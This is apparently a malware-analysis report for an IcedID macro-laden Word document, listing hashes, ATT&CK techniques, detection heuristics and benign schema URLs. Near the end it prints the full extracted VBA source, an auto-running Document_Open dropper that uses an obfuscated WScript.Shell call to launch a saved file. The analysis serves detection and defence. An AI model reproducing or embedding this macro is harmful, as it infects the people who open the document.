IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 118e705282f7bedb…

MALICIOUS

Office (OOXML)

34.2 KB Created: 2021-11-04 10:37:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-20
MD5: b671158f683b7f0abb1a6a78d554ecdd SHA-1: 51effac805998372eb61e3d196f8daf93a5819fe SHA-256: 118e705282f7bedb4320e9ab63c64a9ef6c786cc16de7aa4229f2cfa1bc16f2e
262 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros, specifically triggering a 'Document_Open' macro that uses 'Shell()' and 'CreateObject()' to execute a command. The script attempts to save the document with a name derived from reversed keywords and then executes 'c:\windows\explorer.exe' with that name as an argument, likely to download and run a second-stage payload. This behavior is consistent with the IcedID malware family, which often uses Office documents as initial infection vectors.

Heuristics 7

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1023 bytes
SHA-256: 0a9610e7a600bed268c8eecaeb6a05137e0317997531ed53038e674ac018ced6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function keywords()
With ActiveDocument
likeDoor = .BuiltInDocumentProperties("keywords").Value
End With
keywords = StrReverse(likeDoor)
ActiveDocument.Content.Find.Execute FindText:="_f", ReplaceWith:=dowTube, Replace:=wdReplaceAll
End Function
Public Function s(youGirlNext, powPow, girlLoadGirl)
Set nextPow = CreateObject("wscr" + powPow + ".shell")
nextPow.exec "c:\windows\exp" & girlLoadGirl & " " & youGirlNext
End Function
Sub document_open()
main.karoline ("")
End Sub

Attribute VB_Name = "main"
Public Sub karoline(nextLoad)
Dim powDoor As String
powDoor = ""
youPow = ThisDocument.keywords
ActiveDocument.SaveAs2 FileName:=youPow, FileFormat:=wdFormatText
ThisDocument.s youPow, "ipt", "lorer"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 075e973360989c474a34c22f87fe7711f06c485ff59d89c3f26cf49abe0a1136

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